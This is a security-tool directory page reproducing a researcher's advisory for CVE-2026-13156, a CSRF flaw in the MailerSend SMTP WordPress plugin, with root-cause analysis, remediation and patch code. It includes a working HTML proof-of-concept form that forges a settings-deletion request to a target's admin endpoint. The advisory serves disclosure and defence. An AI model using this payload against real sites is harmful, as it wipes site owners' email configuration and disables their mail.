Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-13156 — CVE-2026-13156 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK). | Kitploit
Ferramentas/GitHubGitHub/minhhk68/cve-2026-13156
Phishing ToolsVulnerability AnalysisExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubminhhk68/cve-2026-13156

CVE-2026-13156

CVE-2026-13156 Vulnerability Advisory & PoC — Discovered by Huynh Kien Minh (MinhHK).

Ver Repositório
5há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Conteúdo não disponível no idioma solicitado. Mostrando versão em inglês.

CVE-2026-13156 — MailerSend Official SMTP Integration < 1.0.8 Settings Deletion & Plugin Deactivation via CSRF

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory CVE-2026-13156 CSRF Attack Chain Infographic


📌 Abstract & Quick Links

[!IMPORTANT] Abstract: A High-Severity Cross-Site Request Forgery (CSRF) vulnerability (CVE-2026-13156) was discovered in the official MailerSend SMTP Integration plugin for WordPress (< 1.0.8). The configuration eradication handler mailersend_handle_configuration_delete() verifies administrative capabilities (manage_options) but completely omits WordPress Nonce verification (check_admin_referer()). An attacker can craft a malicious cross-origin request targeting an authenticated WordPress Administrator to silently wipe stored SMTP credentials and force plugin deactivation, resulting in total Application Denial of Service across all email workflows.

👉 Read the full Deep-Dive Technical Writeup on Medium: Deep-Dive Technical Write-up: CVE-2026-13156 or explore my Security Portfolio: https://minhhk.web.app/


📋 Executive Summary & Vulnerability Overview

  • Vulnerability ID: CVE-2026-13156 (WPScan Advisory ID: 595e653d-0904-43cf-8e61-d684599de11b)
  • Affected Software: MailerSend – Official SMTP Integration (WordPress Plugin)
  • Affected Versions: Before version 1.0.8 (< 1.0.8)
  • Vulnerability Type: Cross-Site Request Forgery (CSRF leading to Settings Eradication and Plugin Deactivation) — CWE-352
  • Lead Researcher & Discharger: Huynh Kien Minh (alias: MinhHK)
  • Role & Affiliation: Information Security Student, Bug Bounty Hunter, and Offensive Security Researcher.

About the Researcher:
Huynh Kien Minh (Huỳnh Kiến Minh) is a proactive cybersecurity researcher and vulnerability analyst known for in-depth security assessments and responsible disclosures, including technical breakdowns of CVE-2026-13156. He has also been officially recognized and honored on the Proton Security Hall of Fame for finding and disclosing critical security vulnerabilities.


🌐 Official Verification Hub & References

To verify this technical advisory, explore proof-of-concept analyses, or connect with the researcher, visit:

  • 🏠 Official Portfolio Hub: Huynh Kien Minh Security Portfolio Hub
  • 💼 LinkedIn Profile: Connect with Huynh Kien Minh on LinkedIn
  • 📝 Official Medium Whitepaper: Deep-Dive Technical Write-up: CVE-2026-13156 on Medium
  • 👨‍💻 GitHub Profile: MinhHK68 GitHub Profile
  • 🔗 WPScan Advisory: WPScan Entry for CVE-2026-13156
  • 🔗 BaseFortify Report: BaseFortify CVE-2026-13156 Analysis

🔍 Deep-Dive Technical Breakdown & Root Cause Analysis

1. Root Cause Analysis (Missing Nonce Verification)

The MailerSend Official SMTP Integration plugin for WordPress (before version 1.0.8) registers an administrative action (configuration-delete) intended to wipe stored API tokens, clear SMTP configuration options (wp_options), and deactivate the plugin when triggered from the admin dashboard.

While the endpoint verifies whether the active user has the manage_options capability (ensuring the request originates from an administrator session), it fails to perform WordPress nonce (check_admin_referer() or wp_verify_nonce()) verification.

Because HTTP requests lacking nonce validation cannot distinguish between intentional administrator clicks and forged cross-origin requests, any external site loaded by an authenticated administrator can silently trigger the configuration-delete action.

2. Attack Lifecycle & Impact

  1. Target Identification: An attacker identifies a target WordPress site utilizing MailerSend SMTP (< 1.0.8).
  2. Payload Delivery: The attacker crafts a malicious HTML/JavaScript webpage containing an auto-submitting form targeting the administrative endpoint (/wp-admin/admin-post.php or /wp-admin/admin.php?page=mailersend&action=configuration-delete).
  3. Trigger: A logged-in WordPress Administrator visits the attacker's webpage (e.g., via phishing, forum link, or XSS on an external site).
  4. Execution & Denial of Service: The browser sends the forged request along with the administrator's active session cookies. The MailerSend plugin executes the deletion handler:
    • All stored MailerSend SMTP settings and API credentials are wiped from the database.
    • The MailerSend plugin is deactivated automatically.
    • Critical Impact: The target website immediately loses all email sending capabilities (password resets, order notifications, security alerts fail without warning).

💻 Proof-of-Concept (PoC) Exploit Code

[!WARNING] Ethical Disclaimer: The following HTML Cross-Site Request Forgery (CSRF) proof-of-concept payload is provided strictly for educational purposes, defensive verification, and security auditing under ethical disclosure protocols by Huynh Kien Minh. Do not execute against unauthorized targets.

root@kitploit:~
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CVE-2026-13156 PoC — MailerSend SMTP Configuration Deletion via CSRF</title>
    <!-- Author: Huynh Kien Minh (https://minhhk.web.app/) -->
</head>
<body>
    <h2>CVE-2026-13156 — CSRF Verification PoC</h2>
    <p>If an authenticated WordPress Administrator visits this page, the MailerSend SMTP configuration will be deleted and the plugin deactivated.</p>
    
    <!-- Forged Request targeting the vulnerable MailerSend configuration deletion endpoint -->
    <form id="csrfPoC" action="http://target-wordpress-site.local/wp-admin/admin.php" method="GET">
        <input type="hidden" name="page" value="mailersend-smtp" />
        <input type="hidden" name="action" value="configuration-delete" />
        <!-- Notice: No valid _wpnonce token is required due to the vulnerability -->
        <input type="submit" value="Execute PoC (Simulate Attack)" />
    </form>

    <script>
        // Automatically submit the forged request when the administrator loads the page
        document.addEventListener("DOMContentLoaded", function() {
            console.log("[CVE-2026-13156] Executing CSRF Payload developed by Huynh Kien Minh...");
            // Uncomment line below to enable auto-execution in lab environments:
            // document.getElementById('csrfPoC').submit();
        });
    </script>
</body>
</html>

🛡️ Remediation & Patch Analysis

For System Administrators & Site Owners

  • Immediate Upgrade: Update the MailerSend – Official SMTP Integration plugin immediately to version 1.0.8 or higher.
  • Session Hygiene: Always log out of WordPress administrative accounts when browsing external untrusted web pages, or utilize separate isolated browser profiles (or containers) for site administration.

For Developers (How the Patch Works)

To properly secure administrative state-changing actions in WordPress plugins, developers must enforce strict nonce validation before processing requests:

root@kitploit:~
// Secure Implementation (Version 1.0.8+)
function mailersend_delete_configuration_handler() {
    // 1. Check User Capability
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die( __( 'Unauthorized access.', 'mailersend' ), 403 );
    }

    // 2. REQUIRED: Verify CSRF Nonce Token
    if ( ! isset( $_GET['_wpnonce'] ) || ! wp_verify_nonce( $_GET['_wpnonce'], 'mailersend_delete_config_nonce' ) ) {
        wp_die( __( 'Security check failed (CSRF attempt blocked).', 'mailersend' ), 403 );
    }

    // 3. Proceed safely with configuration deletion
    delete_option( 'mailersend_smtp_settings' );
    deactivate_plugins( plugin_basename( __FILE__ ) );
    
    wp_redirect( admin_url( 'plugins.php?deactivated=true' ) );
    exit;
}

🏆 Related Security Recognition

  • 🏆 Proton Hall of Fame Recognition: Honored for discovering and reporting critical flaws in Proton's infrastructure.
  • 🏠 Official Portfolio Hub: Explore more offensive security research, open-source security tools, and publications by Huynh Kien Minh.

⚖️ License & Copyright

This repository and technical advisory are maintained and published by Huynh Kien Minh (MinhHK) under responsible disclosure guidelines to foster a safer global WordPress and cybersecurity ecosystem.

Baixar ferramenta